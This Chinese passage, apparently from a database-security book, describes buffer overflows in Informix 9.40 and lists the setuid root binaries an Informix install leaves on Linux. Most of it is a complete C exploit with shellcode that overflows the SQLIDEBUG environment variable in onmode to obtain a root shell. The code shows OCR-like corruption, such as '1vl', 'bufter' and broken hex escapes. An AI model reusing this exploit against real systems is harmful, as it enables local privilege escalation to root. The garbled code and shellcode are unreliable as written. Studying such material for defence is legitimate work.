11.3 Informix内的SQL缓冲区溢出
Informix有很多缓冲区溢出漏洞,可以通过SQL来利用它们。我们已经讨论了部分漏洞,Informix 9.40版本5的其他缓冲区漏洞包括:
DBINFO
LOTOFILE
FILETOCLOB
SET DEBUG FILE
ifx_file_to_file
通过利用这些溢出,攻击者可以像Informix用户一样执行代码。
本地攻击运行在Unix平台上的Informix
在开始实质内容之前,重要的是要记住,当把这些攻击描述为本地的时候,远程用户也可以利用这些攻击,只要使用前面描述的一些shell漏洞即可。当把Informix安装在基于Unix的平台上时,大量的二进制文件就有了setuid和setgid位集。对于Linux:
-rwsr-sr-x 1 root informix 13691 Sep 16 04 28 ifmxgcore
-rwsr-sr-x 1 root informix 965461 Jan 13 14 23 onaudit
-rwsr-sr-x 1 root informix 1959061 Jan 13 14 23 onbar_d
-rwxr-sr-x 1 informix informix 1478387 Jan 13 14 22 oncheck
-rwsr-sr-x 1 root informix 1887869 Sep 16 04 31 ondblog
-rwsr-sr-x 1 root informix 1085766 Sep 16 04 29 onedcu
-rwxr-sr-x 1 informix informix 552872 Sep 16 04 29 onedpu
-rwsr-sr-- 1 root informix 10261553 Jan 13 14 23 oninit
-rwxr-sr-x 1 informix informix 914079 Jan 13 14 22 onload
-rwxr-sr-x 1 informix informix 1347273 Jan 13 14 22 onlog
-rwsr-sr-x 1 root informix 1040156 Jan 13 14 23 onmode
-rwsr-sr-x 1 root informix 2177089 Jan 13 14 23 onmonitor
-rwxr-sr-x 1 informix informix 1221725 Jan 13 14 22 onparams
-rwxr-sr-x 1 informix informix 2264683 Jan 13 14 22 onpload
-rwsr-sr-x 1 root informix 956122 Jan 13 14 23 onshowaudit
-rwsr-sr-x 1 root informix 1968948 Jan 13 14 23 onsmsync
-rwxr-sr-x 1 informix informix 1218880 Jan 13 14 22 onspaces
-rwxr-sr-x 1 informix informix 4037881 Jan 13 14 22 onstat
-rwsr-sr-x 1 root informix 1650717 Jan 13 14 23 ontape
-rwxr-sr-x 1 informix informix 914081 Jan 13 14 22 onunload
-rwsr-sr-x 1 root informix 514323 Sep 16 04 32 sgidsh
-rwxr-sr-x 1 informix informix 1080849 Sep 16 04 29 xtree
最令人感兴趣的是setuid root。过去Informix遭受了很多关于setuid root程序的本地安全问题。一些问题包括不安全的临时文件的创建、竞争条件(race condition)和缓冲区溢出。事实上,9.40.UC5TL仍然有一些问题。例如,如果设置一个过度长的环境变量SQLDEBUG并运行Informix程序,将发生segfault。这是因为它们共享了一段公用代码,如果将SQLIDEBUG设置为
1:/path_to_debug_file
那么该文件会被打开。一个很长的路径名将使基于堆栈的缓冲区溢出,使得攻击者可运行任意的代码。例如,攻击onmode可使攻击者取得root特权。下面的代码演示了这一点:
#include <stdio.h>
unsigned char GetAddress(char *address, int 1vl);
unsigned char shellcode[]=
"\x31\xC0\x31\xDB\xb0\xl7\x90\xCD\x80\x6A\x0B\x58\x99\x52\x68\x6E"
"\x2F\x73\x68\x68\x2F\x2F\x62\x6'9\x54\x5B\x52\x53\x54\x59\xCD\x80"
"\xCC\xCC\xCC\xCC";
int main(int argc, char *argv[])
{
unsigned char buffer[2000]="";
unsigned char sqlidebug[2000]="1:/";
unsigned char X = 0x61, cnt = 0;
int count = 0;
if (argc != 2)
{
printf("\n\n\tExploit for the Informix SQLIDEBUG
overflow\n\n\t");
printf("Gets a rootshell via onmode\n\n\tUsage: \n\n\t");
printf("$ INFORMIXDIR=/opt/Informix;export INFORMIXDIR\n\t");
printf("$ SQLIDEBUG='%s address' ; export SQLIDEBUG\n\t$
onmode\n\t",argv[0]);
printf("sh-2.05b# id\n\tuid=0(root) gid=500(litch)
groups=500(litch)\n\n\t");
printf("\n\n\taddress is the likely address of the
stack.\n\t");
printf("0n Redhat/Fedora 2 it can be found c. FEFFF448\n\n\t");
printf("David Litchfield\n\t27th August
2004\n\t(davidl@ngssoftware.com)\n\n");
return 0;
}
while(count < 271)
buffer[count++1=0x42;
count = strlen(buffer);
buffer[count++]=GetAddress(argv[l],6);
buffer[count++]=GetAddress(argv[l],4);
buffer[count++]=GetAddress(argv[l],2);
bufter[count++]=GetAddress(argv[ll,0];
while(count < 1400)
buffer[count++]=0x90;
strcat(buffer,shellcode) ;
strcat(sqlidebug,buffer) ;
printf("%s".sqlidebug);
return 0;
}
unsigned char GetAddress(char *address, int 1vl)
(
char A = 0, B = 0;
int len = 0;
len = strlen(address);
if(len !=8)
return 0;
if(lvl)
if(lvl ==2 || lvl ==4 || lvl ==6 )
goto cont;
else
return 0;
cont;
A = (char)toupper((int)address[0+lvl]);
B = (char)toupper((int)address[1+lvl]);
if(A < 0x30)
return 0;
if(A < 0x40)
A = A - 0x30;
else
{
if(A > 0x46A < 41)
return 0;
else
A = A - 0x37;
}
if(B < 0x30)
return 0;
if(B < 0x40)
B = B - 0x30;
else
{
if(B > 0x46 || B < 41)
return 0;
else
B = B - 0x37;
}
A = (A * 0x10 + B);
return A;
}






